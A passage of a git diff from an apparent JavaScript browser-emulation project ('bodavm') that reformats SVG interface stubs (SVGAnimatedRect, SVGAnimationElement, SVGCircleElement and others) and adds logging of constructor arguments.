SVGAnimatedNumberList对象 + +bodavm.memory.globalobj['SVGAnimatedNumberList'] = function SVGAnimatedNumberList() { + console.log_copy('SVGAnimatedNumberList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedNumberList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedNumberList'], "SVGAnimatedNumberList"); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedNumberList', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedNumberList'].prototype, "SVGAnimatedNumberList", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedPreserveAspectRatio.js b/env_xbb_lastest_jsdom/env/SVGAnimatedPreserveAspectRatio.js index 5cf94187..40fef65a 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedPreserveAspectRatio.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedPreserveAspectRatio.js @@ -1,5 +1,33 @@ -// SVGAnimatedPreserveAspectRatio对象 -bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'] = function SVGAnimatedPreserveAspectRatio(){if (!(this instanceof SVGAnimatedPreserveAspectRatio)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'], "SVGAnimatedPreserveAspectRatio"); -bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedPreserveAspectRatio对象 + +bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'] = function SVGAnimatedPreserveAspectRatio() { + console.log_copy('SVGAnimatedPreserveAspectRatio 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedPreserveAspectRatio)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'], "SVGAnimatedPreserveAspectRatio"); +bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedPreserveAspectRatio', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio'].prototype, "SVGAnimatedPreserveAspectRatio", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedRect.js b/env_xbb_lastest_jsdom/env/SVGAnimatedRect.js index 6b0b6a58..db277113 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedRect.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedRect.js @@ -1,5 +1,33 @@ -// SVGAnimatedRect对象 -bodavm.memory.globalobj['SVGAnimatedRect'] = function SVGAnimatedRect(){if (!(this instanceof SVGAnimatedRect)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedRect'], "SVGAnimatedRect"); -bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedRect对象 + +bodavm.memory.globalobj['SVGAnimatedRect'] = function SVGAnimatedRect() { + console.log_copy('SVGAnimatedRect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedRect)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedRect'], "SVGAnimatedRect"); +bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedRect', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedRect'].prototype, "SVGAnimatedRect", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedString.js b/env_xbb_lastest_jsdom/env/SVGAnimatedString.js index 80803623..f4fc638f 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedString.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedString.js @@ -1,5 +1,35 @@ -// SVGAnimatedString对象 -bodavm.memory.globalobj['SVGAnimatedString'] = function SVGAnimatedString(){if (!(this instanceof SVGAnimatedString)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedString'], "SVGAnimatedString"); -bodavm.toolsFunc.defineProperty('SVGAnimatedString', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_get", arguments)}, set:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedString', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedString对象 + +bodavm.memory.globalobj['SVGAnimatedString'] = function SVGAnimatedString() { + console.log_copy('SVGAnimatedString 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedString)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedString'], "SVGAnimatedString"); +bodavm.toolsFunc.defineProperty('SVGAnimatedString', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_get", arguments); + }, + set: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "baseVal_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedString', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedString'].prototype, "SVGAnimatedString", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimatedTransformList.js b/env_xbb_lastest_jsdom/env/SVGAnimatedTransformList.js index e342b468..64d07dee 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimatedTransformList.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimatedTransformList.js @@ -1,5 +1,33 @@ -// SVGAnimatedTransformList对象 -bodavm.memory.globalobj['SVGAnimatedTransformList'] = function SVGAnimatedTransformList(){if (!(this instanceof SVGAnimatedTransformList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedTransformList'], "SVGAnimatedTransformList"); -bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "baseVal", {configurable:true, enumerable:true, get:function baseVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "baseVal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "animVal", {configurable:true, enumerable:true, get:function animVal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "animVal_get", arguments)}, set:undefined},'prototype'); +// SVGAnimatedTransformList对象 + +bodavm.memory.globalobj['SVGAnimatedTransformList'] = function SVGAnimatedTransformList() { + console.log_copy('SVGAnimatedTransformList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimatedTransformList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimatedTransformList'], "SVGAnimatedTransformList"); +bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "baseVal", { + configurable: true, + enumerable: true, + get: function baseVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "baseVal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimatedTransformList', "animVal", { + configurable: true, + enumerable: true, + get: function animVal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimatedTransformList'].prototype, "SVGAnimatedTransformList", "animVal_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGAnimationElement.js b/env_xbb_lastest_jsdom/env/SVGAnimationElement.js index 1de9cffa..a8bf2b60 100644 --- a/env_xbb_lastest_jsdom/env/SVGAnimationElement.js +++ b/env_xbb_lastest_jsdom/env/SVGAnimationElement.js @@ -1,18 +1,129 @@ -// SVGAnimationElement对象 -bodavm.memory.globalobj['SVGAnimationElement'] = function SVGAnimationElement(){if (!(this instanceof SVGAnimationElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimationElement'], "SVGAnimationElement"); -bodavm.memory.globalobj['SVGAnimationElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGAnimationElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "targetElement", {configurable:true, enumerable:true, get:function targetElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "targetElement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onbegin", {configurable:true, enumerable:true, get:function onbegin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_get", arguments)}, set:function onbegin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onend", {configurable:true, enumerable:true, get:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_get", arguments)}, set:function onend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onrepeat", {configurable:true, enumerable:true, get:function onrepeat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_get", arguments)}, set:function onrepeat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElement", {configurable:true, enumerable:true, writable:true, value:function beginElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElement", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElementAt", {configurable:true, enumerable:true, writable:true, value:function beginElementAt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElementAt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElement", {configurable:true, enumerable:true, writable:true, value:function endElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElement", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElementAt", {configurable:true, enumerable:true, writable:true, value:function endElementAt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElementAt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getCurrentTime", {configurable:true, enumerable:true, writable:true, value:function getCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getCurrentTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getSimpleDuration", {configurable:true, enumerable:true, writable:true, value:function getSimpleDuration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getSimpleDuration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getStartTime", {configurable:true, enumerable:true, writable:true, value:function getStartTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getStartTime", arguments)}},'prototype'); +// SVGAnimationElement对象 + +bodavm.memory.globalobj['SVGAnimationElement'] = function SVGAnimationElement() { + console.log_copy('SVGAnimationElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGAnimationElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGAnimationElement'], "SVGAnimationElement"); +bodavm.memory.globalobj['SVGAnimationElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGAnimationElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "targetElement", { + configurable: true, + enumerable: true, + get: function targetElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "targetElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onbegin", { + configurable: true, + enumerable: true, + get: function onbegin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_get", arguments); + }, + set: function onbegin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onbegin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onend", { + configurable: true, + enumerable: true, + get: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_get", arguments); + }, + set: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "onrepeat", { + configurable: true, + enumerable: true, + get: function onrepeat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_get", arguments); + }, + set: function onrepeat() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "onrepeat_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "requiredExtensions", { + configurable: true, + enumerable: true, + get: function requiredExtensions() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "requiredExtensions_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "systemLanguage", { + configurable: true, + enumerable: true, + get: function systemLanguage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "systemLanguage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElement", { + configurable: true, + enumerable: true, + writable: true, + value: function beginElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "beginElementAt", { + configurable: true, + enumerable: true, + writable: true, + value: function beginElementAt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "beginElementAt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElement", { + configurable: true, + enumerable: true, + writable: true, + value: function endElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "endElementAt", { + configurable: true, + enumerable: true, + writable: true, + value: function endElementAt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "endElementAt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getCurrentTime", { + configurable: true, + enumerable: true, + writable: true, + value: function getCurrentTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getCurrentTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getSimpleDuration", { + configurable: true, + enumerable: true, + writable: true, + value: function getSimpleDuration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getSimpleDuration", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGAnimationElement', "getStartTime", { + configurable: true, + enumerable: true, + writable: true, + value: function getStartTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGAnimationElement'].prototype, "SVGAnimationElement", "getStartTime", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGCircleElement.js b/env_xbb_lastest_jsdom/env/SVGCircleElement.js index badfed12..8e05cde1 100644 --- a/env_xbb_lastest_jsdom/env/SVGCircleElement.js +++ b/env_xbb_lastest_jsdom/env/SVGCircleElement.js @@ -1,8 +1,43 @@ -// SVGCircleElement对象 -bodavm.memory.globalobj['SVGCircleElement'] = function SVGCircleElement(){if (!(this instanceof SVGCircleElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGCircleElement'], "SVGCircleElement"); -bodavm.memory.globalobj['SVGCircleElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGCircleElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGCircleElement', "cx", {configurable:true, enumerable:true, get:function cx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cx_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGCircleElement', "cy", {configurable:true, enumerable:true, get:function cy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGCircleElement', "r", {configurable:true, enumerable:true, get:function r (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "r_get", arguments)}, set:undefined},'prototype'); +// SVGCircleElement对象 + +bodavm.memory.globalobj['SVGCircleElement'] = function SVGCircleElement() { + console.log_copy('SVGCircleElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGCircleElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGCircleElement'], "SVGCircleElement"); +bodavm.memory.globalobj['SVGCircleElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGCircleElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGCircleElement', "cx", { + configurable: true, + enumerable: true, + get: function cx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGCircleElement', "cy", { + configurable: true, + enumerable: true, + get: function cy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "cy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGCircleElement', "r", { + configurable: true, + enumerable: true, + get: function r() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGCircleElement'].prototype, "SVGCircleElement", "r_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGClipPathElement.js b/env_xbb_lastest_jsdom/env/SVGClipPathElement.js index 56d8a728..01a52823 100644 --- a/env_xbb_lastest_jsdom/env/SVGClipPathElement.js +++ b/env_xbb_lastest_jsdom/env/SVGClipPathElement.js @@ -1,6 +1,27 @@ -// SVGClipPathElement对象 -bodavm.memory.globalobj['SVGClipPathElement'] = function SVGClipPathElement(){if (!(this instanceof SVGClipPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGClipPathElement'], "SVGClipPathElement"); -bodavm.memory.globalobj['SVGClipPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGClipPathElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGClipPathElement', "clipPathUnits", {configurable:true, enumerable:true, get:function clipPathUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGClipPathElement'].prototype, "SVGClipPathElement", "clipPathUnits_get", arguments)}, set:undefined},'prototype'); +// SVGClipPathElement对象 + +bodavm.memory.globalobj['SVGClipPathElement'] = function SVGClipPathElement() { + console.log_copy('SVGClipPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGClipPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGClipPathElement'], "SVGClipPathElement"); +bodavm.memory.globalobj['SVGClipPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGraphicsElement'].prototype; +bodavm.memory.globalobj['SVGClipPathElement'].__proto__ = bodavm.memory.globalobj['SVGGraphicsElement']; +bodavm.toolsFunc.defineProperty('SVGClipPathElement', "clipPathUnits", { + configurable: true, + enumerable: true, + get: function clipPathUnits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGClipPathElement'].prototype, "SVGClipPathElement", "clipPathUnits_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/SVGComponentTransferFunctionElement.js b/env_xbb_lastest_jsdom/env/SVGComponentTransferFunctionElement.js index 70aeaf9f..a5e7b5ea 100644 --- a/env_xbb_lastest_jsdom/env/SVGComponentTransferFunctionElement.js +++ b/env_xbb_lastest_jsdom/env/SVGComponentTransferFunctionElement.js @@ -1,24 +1,147 @@ -// SVGComponentTransferFunctionElement对象 -bodavm.memory.globalobj['SVGComponentTransferFunctionElement'] = function SVGComponentTransferFunctionElement(){if (!(this instanceof SVGComponentTransferFunctionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGComponentTransferFunctionElement'], "SVGComponentTransferFunctionElement"); -bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGComponentTransferFunctionElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_GAMMA", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_LINEAR", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_DISCRETE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_TABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_IDENTITY", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGComponentTransferFunctionElement', "SVG_FECOMPONENTTRANSFER_TYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, 